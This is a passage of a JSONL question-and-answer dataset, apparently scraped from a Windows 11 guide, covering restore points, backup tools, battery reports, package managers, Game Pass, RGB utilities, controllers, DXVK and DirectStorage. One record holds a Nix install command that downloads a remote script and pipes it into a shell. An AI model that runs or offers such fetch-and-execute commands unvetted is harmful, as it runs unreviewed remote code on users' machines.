results.\n\n        * In the Control Panel search box, type recovery.\n\n        *  Select **Recovery > Configure System Restore > Configure** and see if the **Turn on system protection** option is selected.\n\n     * If the Turn on system protection option is not selected, system protection isn’t turned on and there aren't any restore points. In this scenario, you won't be able to recovery your PC using a system restore point and will need to use one of the other recovery options listed on this page.\n\n     * If the Turn on system protection option is selected, continue with step 6.\n\n   6. You'll see a list of items that will be deleted if you remove this restore point. If you're OK with the deletions, **select Close > Next > Finish**.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521453"}
{"id": "gh_484d10dce743", "question": "How to: Backup Tools", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Borgmatic](https://github.com/modem7/docker-borgmatic) is a simple, configuration-driven backup software for servers and workstations. It protects your files with client-side encryption. Backup your databases too. Monitor it all with integrated third-party services. \n\n[BorgWarehouse](https://borgwarehouse.com/) is a  fast and modern WebUI for a BorgBackup's central repository server.\n\n[Emborg](https://emborg.readthedocs.io/en/latest/) is a simple command line utility to orchestrate backups. It is built as a front-end to Borg, a powerful and fast de-duplicating backup program. \n\n[BackupPC](https://github.com/backuppc/backuppc) is a high-performance, enterprise-grade system for backing up Linux, Windows and macOS PCs and laptops to a server's disk. BackupPC is highly configurable and easy to install and maintain.\n\n[UrBackup](https://www.urbackup.org/) is an easy to setup Open Source client/server backup system, that through a combination of image and file backups accomplishes both data safety and a fast restoration time. File and image backups are made while the system is running without interrupting current processes. Available for Windows, macOS, and Linux. \n\n[Kopia](https://kopia.io/) is a user-friendly desktop app for Windows, macOS, and Linux which allows you to create snapshots, define policies, and restore files quickly with Fast and Encrypted Backups. \n\n[Proxmox Backup Server](https://www.proxmox.com/en/proxmox-backup-server) is an enterprise backup solution for backing up and restoring VMs, containers, and physical hosts. The open-source solution supports incremental backups, deduplication, Zstandard compression, and authenticated encryption.\n\n[rsnapshot](https://rsnapshot.org/) is a filesystem snapshot utility based on rsync. This makes it easy to make periodic snapshots of local machines, and remote machines over ssh.\n\n[Proton Drive](https://drive.proton.me/) is an end-to-end encrypted Swiss storage space for your files, photos, and videos, ensuring that nobody, except those authorized by you, can access your data. \n\n[pCloud](https://www.pcloud.com/) is a secure place for your photos, videos and documents from every device, anywhere you go. pCloud starts with 10 GB free storage and automatically backup your photos and videos and free up space from your device.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521462"}
{"id": "gh_d16535d711e5", "question": "How to: Powercfg Battery Report", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Powercfg](https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options) is a tool built-in to Windows that generates detailed report on battery health of your Windows device. \n\nTo generate a battery report, **press Windows Key + X and select Command Prompt**. Then type in **powercfg /batteryreport**. This command saves a battery report in HTML format to\n\n```C:\\Users\\Your_Username\\battery-report.html```\n\nOpen the file in your browser and check the following parameters:\n\n  * The difference between Design Capacity and Full Charge Capacity. As batteries wear over time, the full charge capacity will be less than the design capacity.\n  \n  * Battery capacity drained over the last few days in different power states. Also, check out the battery usage graph.\n  \n  * Compare the battery life from the time you purchased the laptop and see the trends of Full Charge Capacity in relation to Design Capacity.\n  \n  * Check the battery’s usage and duration. And the time your computer ran on battery or plugged into the power outlet.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521469"}
{"id": "gh_cfb8064e42fc", "question": "How to: Microsys Smarter Battery", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Smarter Battery](https://www.microsys.ro/smarterbattery.htm) is a battery monitoring utility for portable computers, intended to provide all the data of your battery, to help prolong its life and save its energy. It shows you the evolution of the battery's capacity during the charge / discharge cycles and computes a few important battery parameters, such as the wear level and discharge cycles count.\nMicrosys Smarter Battery UI", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521474"}
{"id": "gh_c28dffd34bbf", "question": "How to: Getting Software", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Windows-11-Guide/blob/main/README.md#table-of-contents)\n\n[Windows Package Manager](https://docs.microsoft.com/en-us/windows/package-manager/) is a comprehensive [package manager solution](https://docs.microsoft.com/en-us/windows/package-manager/#understanding-package-managers) that consists of a command line tool and set of services for installing applications on Windows 10. Developers can use the winget command line tool to discover, install, upgrade, remove and configure a curated set of applications. After it is installed, developers can access winget via the [Windows Terminal](https://docs.microsoft.com/en-us/windows/terminal/), [PowerShell](https://docs.microsoft.com/en-us/powershell/), or the Command Prompt.\n\n**[Using the winget tool to install and manage software packages](https://docs.microsoft.com/en-us/windows/package-manager/winget/)**\n\n**[Submitting packages to Windows Package Manager](https://docs.microsoft.com/en-us/windows/package-manager/package/)**\n[WingetUI](https://github.com/martinet101/WingetUI) is a GUI Store for the most common cli package managers, such as Winget and Scoop. It's developed by [Martí Climent AKA martinet101](https://github.com/martinet101).\n[Microsoft PowerToys](https://github.com/microsoft/PowerToys) is a set of utilities for power users to tune and streamline their Windows 10 experience for greater productivity. To get more information on [PowerToys](https://docs.microsoft.com/windows/powertoys/), or any other tools and resources for [Windows development environments](https://docs.microsoft.com/windows/dev-environment/overview), go to [docs.microsoft.com](https://docs.microsoft.com/windows/powertoys/).\n[Homebrew](https://brew.sh) is the missing Package Manager for your macOS, Linux, and Windows 10 (with [Windows Subsystem for Linux (WSL)](https://docs.microsoft.com/en-us/windows/wsl/)) system. Homebrew is an essential tool for any developer/engineer.\n[Ninite](https://ninite.com/) is a package management system offering that enables users automatically install popular applications for their Windows 10 OS.\n[Ninite Pro](https://ninite.com/pro) is the commercially-licensed version of Ninite. It will update/deploy more apps and popular plugins than the free home-use version. Other functionalities include Ninite Pro's audit mode that shows you the apps on each machine and whether they are up-to-date.\n[Chocolatey](https://chocolatey.org/) is a software management solution unlike anything else you've ever experienced on Windows. It focuses on simplicity, security, and infinite scalability. The GUI is perhaps the best way to start for beginners. It can be installed by using `choco install chocolateygui` after having installed choco as described [here](https://chocolatey.org/install).\n[Scoop](https://scoop.sh/) is an open source package manager for Windows 10. It gives Windows users an efficient way to download programs without having to visit each site manually, downloading the files, and running the installer.\n[Nix package manager](https://nixos.org/) is a cross-platform package manager that utilizes a purely functional deployment model where software is installed into unique directories generated through cryptographic hashes. Choose from Thousands of Packages The Nix Packages collection (Nixpkgs) is a set of over 80 000 packages for the Nix package manager.\n\n**Single-user installation on Windows(WSL2):**\n\n```$ sh <(curl -L https://nixos.org/nix/install) --no-daemon```", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521488"}
{"id": "gh_f99b37729e1a", "question": "How to: Gaming Resources for Windows", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "* [PCGamingWiki](https://www.pcgamingwiki.com/)\n  \n  * [Emulation General Wiki](https://emulation.gametechwiki.com/index.php/Main_Page)\n  \n  * [The Gaming Wiki](https://thegamingwiki.com/)\n  \n  * [Awesome Games Wiki!](https://awesomegames.miraheze.org/wiki/Awesome_Games_Wiki)\n  \n  * [Intel Gaming Resources](https://www.intel.com/content/www/us/en/gaming/resources/overview.html)\n  \n  * [AMD Gaming Resources](https://www.amd.com/en/solutions/gaming)\n  \n  * [NVIDIA Gaming Resources](https://developer.nvidia.com/industries/game-development)\n  \n ### subreddits\n    \n  * [r/gaming](https://www.reddit.com/r/gaming/)\n  * [r/Games](https://www.reddit.com/r/Games/)\n  * [r/Steam](https://www.reddit.com/r/Steam/)\n  * [r/Origin](https://www.reddit.com/r/origin/)\n  * [r/GOG.com](https://www.reddit.com/r/gog/)\n  * [r/EAGames](https://www.reddit.com/r/eagames/)\n  * [r/Ubisoft](https://www.reddit.com/r/ubisoft/)\n  * [r/Xbox](https://www.reddit.com/r/xbox/)\n  * [r/XboxGamePass](https://www.reddit.com/r/XboxGamePass/)\n  * [r/PlayStation](https://www.reddit.com/r/playstation/)\n  * [r/pcgaming](https://www.reddit.com/r/pcgaming/)\n  * [r/GamingPC](https://www.reddit.com/r/gamingpc/)\n  * [r/Games](https://www.reddit.com/r/Games/)\n  * [r/buildapc](https://www.reddit.com/r/buildapc/)\n  * [r/buildmeapc](https://www.reddit.com/r/buildmeapc/)\n  * [r/GamingLaptops](https://www.reddit.com/r/GamingLaptops/)\n  * [r/intel](https://www.reddit.com/r/intel/)\n  * [r/AMD](https://www.reddit.com/r/Amd/)\n  * [r/radeon](https://www.reddit.com/r/radeon/)\n  * [r/NVIDIA](https://www.reddit.com/r/nvidia/)\n  * [r/hardware](https://www.reddit.com/r/hardware/)\n  * [r/ASUSROG](https://www.reddit.com/r/ASUSROG/)\n  * [r/graphicscards](https://www.reddit.com/r/graphicscard/)\n  * [r/gigabyte](https://www.reddit.com/r/gigabyte/)\n  * [r/Alienware](https://www.reddit.com/r/Alienware/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521497"}
{"id": "gh_8ceb4cdcc197", "question": "How to: Gaming on Xbox Game Pass", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Xbox Game Pass](https://xbox.com/xbox-game-pass) is a video game subscription services from Microsoft starting at $9.99 and $14.99 for the [Ultimate Pass](https://www.xbox.com/en-US/xbox-game-pass/ultimate).", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521503"}
{"id": "gh_848428508963", "question": "How to: A list of great [Game Pass](https://www.xbox.com/) Games to play.", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "**May 23** \n\n  * Planet of Lana (Xbox Series X|S Optimized, Xbox One, Windows PC, & Xbox Cloud Gaming)\n\n**May 25**\n\n  * Cassette Beasts (Xbox Series X|S, Xbox One, & Windows PC)\n\n**May 30**\n\n   * Chicory: A Colorful Tale (Xbox Series X|S Optimized, Xbox One, Windows PC, & Xbox Cloud Gaming)\n   * Farworld Pioneers (Xbox Series X|S, Xbox One, & Windows PC)\n    \n**June 1**\n\n   * Car Mechanic Simulator 2021 (Xbox Series X|S Optimized, Xbox One, Windows PC, & Xbox Cloud Gaming)\n   * Slayers X: Terminal Aftermath: Vengeance of the Slayer (Xbox Series X|S, Xbox One, Windows PC, & Xbox Cloud Gaming)\n   * The Big Con (Xbox Series X|S Optimized, Xbox One, Windows PC, & Xbox Cloud Gaming)\n\n**June 6**\n\n   * Amnesia: The Bunker (Xbox Series X|S, Xbox One, Windows PC, & Xbox Cloud Gaming)\n   * Hypnospace Outlaw (Xbox Series X|S, Xbox One, Windows PC, & Xbox Cloud Gaming)\n\n**June 8**\n\n   * Rune Factory 4 Special (Xbox Series X|S, Xbox One, Windows PC, & Xbox Cloud Gaming)\n   * Stacking (Xbox Series X|S, Xbox One, & Xbox Cloud Gaming)\n    \n**June 13**\n\n   * Dordogne (Xbox Series X|S, Xbox One, Windows PC, & Xbox Cloud Gaming)\n   \n**June 22**\n\n   * The Bookwalker: Thief of Tales (Xbox Series X|S, Xbox One, Windows PC, & Xbox Cloud Gaming)\n   * Need for Speed: Unbound (Xbox Series X|S Optimized, Windows PC, & Xbox Cloud Gaming) via **EA Play**\n\n**June 27**\n\n   * Bramble: The Mountain King (Xbox Series X|S Optimized, Xbox One, Windows PC, & Xbox Cloud Gaming)\n   * F.I.S.T.: Forged in Shadow Torch (Xbox Series X|S, Windows PC, & Xbox Cloud Gaming)\n\n**June 29**\n\n   * Story of Seasons: Friends of Mineral Town (Xbox Series X|S, Xbox One, & Windows PC)\n\n**July 3**\n\n   * Arcade Paradise (Xbox Series X|S, Xbox One, & Windows PC)\n\n**July 5**\n\n   * Grand Theft Auto V (Xbox Series X|S, Xbox One, & Xbox Cloud Gaming)\n\n   * Sword and Fairy: Together Forever (Xbox Series X|S, Xbox One, & Windows PC)\n   \n**July 6**\n\n * McPixel 3 (Xbox Series X|S, Xbox One, Windows PC, & Xbox Cloud Gaming)\n \n**July 11**\n\n * Common’hood (Xbox Series X|S, Xbox One, Windows PC, & Xbox Cloud Gaming)\n * Insurgency: Sandstorm (Windows PC)\n \n**July 14**\n \n * Exoprimal (Xbox Series X|S, Xbox One, Windows PC, & Xbox Cloud Gaming)\n \n**July 18**\n\n   * Techtonica (Xbox Series X|S, Xbox One, & Windows PC)\n   * The Cave (Xbox Series X|S, Xbox One, & Xbox Cloud Gaming)\n   \n**July 31**\n    \n   * Venba (Xbox Series X|S, Xbox One, & Windows PC)\n    \n**August 1**\n\n * Celeste (Cloud, Xbox Series X|S, and PC)\n\n**August 3**\n\n * A Short Hike (Cloud, Xbox Series X|S, and PC)\n\n**August 8**\n\n * Broforce Forever (Cloud, Xbox Series X|S, and PC)\n\n**August 9**\n\n * Limbo (Cloud, (Xbox Series X|S, and PC) \n\n**August 10**\n\n * Airborne Kingdom (Cloud, Xbox Series X|S, and PC)\n\n**August 15**\n\n * Everspace 2 (Cloud and Xbox Series X|S) \n\n**August 18**\t\n\n * The Texas Chain Saw Massacre (Xbox Series X|S, PC, Cloud)\n\n**August 29**\t\n\n * Sea of Stars (Xbox Series X|S, Cloud)\n\n**September 5**\n\n * Gris (Cloud, Console, and PC)\n   \n**September 6** or **September 1 with [Starfield Premium Edition Upgrade](https://www.xbox.com/games/store/starfield-premium-edition-upgrade/9PB4ZWV7S2MG/0017)**\n\n   * Starfield Direct (Xbox Series X|S, Xbox One, & Windows PC)\n\n**September 19**\n\n * Lies of P (Xbox Series X|S, Cloud, & Windows PC)\n\n**September 20**\n\n * Party Animals (Xbox Series X|S, Xbox One, & Windows PC)\n\n**September 23**\n\n * Payday 3 (Xbox Series X|S, Cloud, & Windows PC)\n \n**September 29**\n \n   * Cocoon (Xbox Series X|S, Xbox One, & Windows PC)\n\n**October 3**\n\n   * The Lamplighter’s League (Console, PC)\n\n**October 4**\n  \n  *  Warhammer 40,000 Darktide (Console [Xbox Series X|S])\n\n**October 10**\n   \n  * Forza Motorsport  (Console[Xbox Series X|S], PC, Cloud)\n    \n**October 24**\n\n  * Cities Skylines 2 (Console[Xbox Series X|S], PC, Cloud)\n\n**October 26**\n    \n  * Mineko’s Night Market (Console[Xbox Series X|S], PC)\n\n**October 31**    \n  \n  *  Headbangers Rhythm Royale (Console[Xbox Series X|S])    \n  *  Jusant(Console[Xbox Series X|S], PC, Cloud)\n\n**November 1**\n\n * Age of Empires II: Definitive Edition – The Mountain Royals (Cloud, Console, and PC) \n\n**November 2**\n\n * PlateUp! (Console)\n * Thirsty Suitors (Cloud, Console, and PC) \n\n**November 6**\n\n * Football Manager 2024 (PC)\n * Football Manager 2024 Console (Cloud, Console, and PC) \n \n**November 7**\n\n * Roboquest 1.0 (Cloud, Console, and PC) \n\n**November 9**\n\n * Dungeons 4 (Cloud, Console, and PC) \n * Like A Dragon Gaiden: The Man Who Erased His Name (Cloud, Console, and PC) \n * Wild Hearts (Cloud, Console, and PC) EA Play \n\n**November 13**\n\n * Spirittea (Cloud, Console, and PC) \n\n**November 14**\n\n * Coral Island (Cloud and Xbox Series X|S)\n\n**Games Leaving November 15, 2023**\n\n * Coffee Talk (Cloud, Console, and PC)\n * Exapunks (PC)\n * Ghost Song (Cloud, Console, and PC)\n * Gungrave G.O.R.E (Cloud, Console, and PC)\n * Football Manager 2023 (PC)\n * Football Manager 2023 Console (Cloud, Console, and PC)\n * Lapin (Cloud, Console, and PC)\n * Townscape", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521538"}
{"id": "gh_78905d1bc2b7", "question": "How to: Setting up Game Pass for Offline use", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "* **Note:** Most games with a campaign mode will be playable offline, but games with network co-op or multiplayer features will not work while you’re offline. Before you go offline, connect to the Xbox network to sync your most recent game save to the cloud. While you play offline, your game save progress will continue to be saved locally, and it’ll sync the next time you sign in to Xbox. If you want to continue playing on a different device, you’ll need to go online and connect to the Xbox network to allow your local saved game to sync with the cloud again.\n\n * **Note 2:** PC Game Pass game licenses expire after 30 days when playing offline, and licenses for owned games expire after 14 days. To keep playing your game offline, go back online and launch the game. This renews the game’s license on your device and ensures you can go back to playing offline.  \n\nYou can only have one device as your designated offline device. **To set your device as your designated offline device:**\n\n  * Make sure that you’re online.\n  * Check that your device has the latest Windows updates: **Go to Start -> Settings -> Update & security -> Windows Update and see if any relevant updates are available**.\n  * Open the Microsoft Store. You’ll be prompted to sign in if you haven’t already.\n  * Select your profile icon in the upper right corner.\n  * Select App settings, and then under Offline permissions, make sure that the toggle is set to On.\n\nOnce you set this, any devices previously designated as offline will be toggled to Off, and you’ll no longer be able to play games offline on those devices.\n\n**Prepare your game or games**\n\nOnce your device is set up, you’ll need to launch each game you want to play offline while signed in to the Xbox network. You only need to do this once per game, and you’ll need to do this even if you’ve already launched the game on your device.\n\n  * Make sure that you’re online, and that your device is set as your designated offline device. (See the steps above for details on how to do this.)\n  * Launch the game you want to play offline. When prompted, sign in to Xbox.\n  * Once you’ve started playing the game, you can exit at any time.\n\nRepeat this process for each game you want to play offline. Once completed, you can go offline at any time and launch those games whenever you want to play them, without needing to sign in online each time.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521552"}
{"id": "gh_d465f3f701b7", "question": "How to: Manage/Control Fans", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Fan Control](https://github.com/Rem0o/FanControl.Releases) is a highly customizable fan controlling software for Windows\nFan Control main UI\n[MSI Afterburner](https://www.msi.com/page/afterburner) is a tool that provides a detailed overview of your hardware, and also allows graphics card overclocking. It includes RTSS which also provides an on-screen-display during games.\n\n[MSI Afterburner Remote Server](https://www.msi.com/page/afterburner) is a that serves up an HTTP endpoint with data from MSI Afterburner in an XML format.\nMSI Afterburner UI", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521559"}
{"id": "gh_ea312656386b", "question": "How to: RGB Devices", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Razer Synapse](https://www.razer.com/synapse-3) is a unified cloud-based hardware configuration tool that takes your Razer devices to the next level.\n[Logitech G Hub](https://www.logitechg.com/en-us/innovation/g-hub.html) is software tool that lets you customize Logitech G gaming mice, keyboards, headsets, speakers, and other devices.\n[Corsair iCUE](https://www.corsair.com/us/en/icue) is a tool that enables gaming peripherals and personal computer components including computer case fans, RGB lighting, gaming headsets, gaming keyboards, gaming mouse, remap buttons and switches, RAM DIMMS and AIO CPU cooler together.\n[Project Aurora](https://www.project-aurora.com/) is a Unified Keyboard RGB Lighting for Logitech, Razer, and Corsair.\n[SignalRGB](https://signalrgb.com/) is a tool that lets you control your RGB devices, your way. Please close all your other RGB apps (ICUE, Synapse, GHub, Armory Crate, etc.) before installing SignalRGB.\n[Artemis RGB](https://artemis-rgb.com/) is an open source a unified hardware configuration tool.\n[OpenRGB](https://openrgb.org/) is an open source RGB lighting control tool that doesn't depend on manufacturer software.  This includes ASUS Aura, ASRock, Corsair, G.Skill, Gigabyte, HyperX, MSI, Razer Synapse, ThermalTake, RGB Fusion, iCue, Mystic Light, Alienware AlienFX, Logitech G Hub, and any other RGB app. OpenRGB has support for Windows, Linux, MacOS(Apple Silicon ARM64 and Intel).\nOpenRGB Device View\n[OpenRGB SDK](https://gitlab.com/CalcProgrammer1/OpenRGB/-/wikis/OpenRGB-SDK-Documentation) is a network-based Software Development Kit, which allows third-party software to control all of your RGB. This allows for game integrations, music visualization, ambient lighting, and anything else you can imagine. SDK bindings are available for multiple programming languages including C++, Python, C#, Java, and more.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521569"}
{"id": "gh_2f776ab7f513", "question": "How to: Game Controllers", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Xbox Wireless Controller + USB-C® Cable](https://www.xbox.com/en-us/accessories/controllers/xbox-wireless-controller-usb-c)\nXbox Controller\n* [Xbox Game Bar](https://aka.ms/controllerbar) is a tool for Windows 10 and 11 that can be opened with Win+G, or by pressing the Xbox button on an Xbox controller. It has quick shortcuts for taking screenshots or screen recordings, checking CPU and GPU usage, changing audio levels/outputs, and more.\nGame Controller Bar. Image Credit: [Microsoft](https://blogs.windows.com/windows-insider/2022/05/05/windows-insiders-can-now-try-out-an-early-preview-of-controller-bar/)\n\n[Xbox Adaptive Controller](https://www.xbox.com/en-US/accessories/controllers/xbox-adaptive-controller) is a unified hub for devices that helps make gaming more accessible. Designed primarily to meet the needs of gamers with limited mobility.\nXbox Adaptive Controller. Image Credit: [Microsoft](https://www.xbox.com/)\n\n[PlayStation 5 DualSense™ Wireless Controller](https://www.playstation.com/en-us/accessories/dualsense-wireless-controller/)\n\n* [Update the wireless controller firmware](https://controller.dl.playstation.net/controller/lang/gb/fwupdater.html)\nPS 5  DualSense™ Controller\n[Nintendo Switch Pro Controller](https://www.amazon.com/Nintendo-Switch-Pro-Controller/dp/B01NAWKYZ0)\nNintendo Switch Pro Controller\n[8BitDo SN30 Pro+ Controller](https://www.8bitdo.com/sn30-pro-plus/)\n8BitDo SN30 Pro+ Controller\n8BitDo SN30 Pro+ Controller Button Mapping\n[Google Stadia Controller on ebay](https://www.ebay.com/sch/i.html?_nkw=google+stadia+controller&_sop=12&mkevt=1&mkcid=1&mkrid=711-53200-19255-0&campid=5336728181&customid=&toolid=10001)\n \n **Switch your Stadia Controller to [Bluetooth mode](https://stadia.google.com/controller/)** to keep gaming wirelessly on your favorite devices and services after Stadia shuts down.\n[Steam Contoller](https://www.ebay.com/sch/i.html?_from=R40&_trksid=p2380057.m570.l1313&_nkw=steam+controller&_sacat=0)\n\n * **Note:** Steam Controllers were discontinued on November 26, 2019, though, you can still buy them on ebay.\n\n * [Steam Controller Setup](https://help.steampowered.com/en/faqs/view/41C5-7D8C-1671-411E)\n[Amazon Luna Controller](https://www.amazon.com/luna/getting-started)\n\n* **The Luna Controller** is made for Amazon's cloud gaming service. Powered by Cloud Direct technology Connect directly to Amazon's custom game servers when playing on Luna, reducing roundtrip latency by 17 to 30 milliseconds vs. a local Bluetooth connection among Windows PC, Mac, and Fire TV.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521587"}
{"id": "gh_92a16b0b7f5e", "question": "How to: Setting up DXVK on Windows", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521610"}
{"id": "gh_5e04904d4063", "question": "How to: Important Note", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "Online multi-player games\n\nManipulation of Direct3D libraries in multi-player games may be considered cheating and can get your account banned. This may also apply to single-player games with an embedded or dedicated multiplayer portion. **Use at your own risk.**\n\n#### What is DXVK?\n\n[DXVK](https://github.com/doitsujin/dxvk) is a set of software libraries that translates DirectX API calls to Vulkan API calls. It supports **DirectX versions 9, 10 and 11**. Vulkan and APIs similar to it **(DirectX12, Metal)** are a a lot better at making use of multi-core/multi-threaded CPUs to batch up work that needs to be done by the GPU thereby making better use of both CPU and GPU. This can lead to significant performance boosts in some games.\n\n**First, do these steps:**\n\n  * 1. Download the [latest release of DXVK](https://github.com/doitsujin/dxvk/releases) from GitHub.\n\n  * 2. Use 7-Zip to unzip the ```dxvk-x.x.x folder``` (where ```x.x.x``` is the version number).\n  \n **Do these steps for each game:**\n\n**Important information you need to know about the game you want use DXVK with:**\n\n   * The version of DirectX it uses.\n\n   * Whether it's using 32-bit or 64-bit.\n\nIn most cases, you can find out both of these from a game's API section section on [PCGamingWiki](https://www.pcgamingwiki.com/wiki/Home). There may be some clues in the file/folder names your game's folder about it being 32-bit or 64-bit. If there's a ```steam_api64.dll``` there then it's probably **64-bit** or if there's a ```binkw32.dll``` it's likely to be **32-bit**.\n\n * Open the folder where your game's executable is (.exe file).\n\n * Open the folder where you extracted DXVK and go the appropriate folder for your game's bitness, x32 for 32-bit, x64 for 64-bit.\n\n * Copy the following files to the folder where the game's executable is depending on the game's DirectX version:\n\n|DirectX version | Files to copy|\n|------------|-----------|\n|9\t| d3d9.dll|\n|10\t| d3d10.dll, d3d10_1.dll, d3d10core.dll, d3d11.dll and dxgi.dll|\n|11\t| d3d11.dll and dxgi.dll|\n\n**If your game supports multiple DirectX versions copy all the applicable DLLs.**\n\n**That's it!** Now run the game.\n\n**Unfortunately, DXVK isn't going to work in all situations. So far I've been unsuccessful in getting it to work in the following scenarios:**\n\n   * Xbox Game Pass (and likely Microsoft Store) games.\n   * Steam In-Home Streaming with exclusive fullscreen games.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521618"}
{"id": "gh_a486b53fbf07", "question": "How to: DirectStorage", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[DirectStorage](https://learn.microsoft.com/en-us/gaming/gdk/_content/gc/system/overviews/directstorage/directstorage-overview) is a feature intended to allow games to make full use of high-speed storage (such as NVMe SSDs) that can can deliver multiple gigabytes a second of small (eg 64kb) data reads with minimal CPU overhead. Although it is possible to saturate a drive using traditional ReadFile-based IO the CPU overhead of increases non-linearly as the size of individual reads decreases. Additionally, most games choose to store their assets compressed on disk in order to reduce the install footprint, with these assets being decompressed on the fly as load time. The CPU overhead of this becomes increasingly expensive as bandwidth increases.\n\n * [Microsoft DirectStorage GitHub](https://github.com/microsoft/DirectStorage)\n * [DirectStorage on Windows Samples](https://github.com/microsoft/DirectStorage/blob/main/README.md)\n * [DirectStorage API Downloads](https://devblogs.microsoft.com/directx/directstorage-api-downloads/)\n \n New features for DirectStorage 1.1:\n \n * GPU decompression and GDeflate now available.\n * Added EnqueueSetEvent to use Win32 event objects for completion notification.\n * [Performance improvements and bug fixes.](https://devblogs.microsoft.com/directx/directstorage-api-downloads/)\n    \n**GPU decompression** is supported on all DirectX 12 + Shader Model 6.0 GPUs. However, one of the benefits of DirectStorage 1.1 is that GPU hardware vendors can provide additional optimizations for their hardware, called metacommands. \n\n * **AMD:** https://gpuopen.com/amd-support-for-microsoft-directstorage-1-1\n\n * **Intel:** https://www.intel.com/content/www/us/en/developer/articles/news/directstorage-on-intel-gpus.html\n\n * **NVIDIA:** https://developer.nvidia.com/blog/accelerating-load-times-for-directx-games-and-apps-with-gdeflate-for-directstorage/\nData flow for decompressing to a GPU resource. Image Credit: [Microsoft](https://devblogs.microsoft.com/directx/directstorage-1-1-now-available/)\nPIX timing capture showing DirectStorage reading and decompressing 1.4GiB of data. Image Credit: [Microsoft](https://devblogs.microsoft.com/directx/directstorage-1-1-now-available/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521627"}
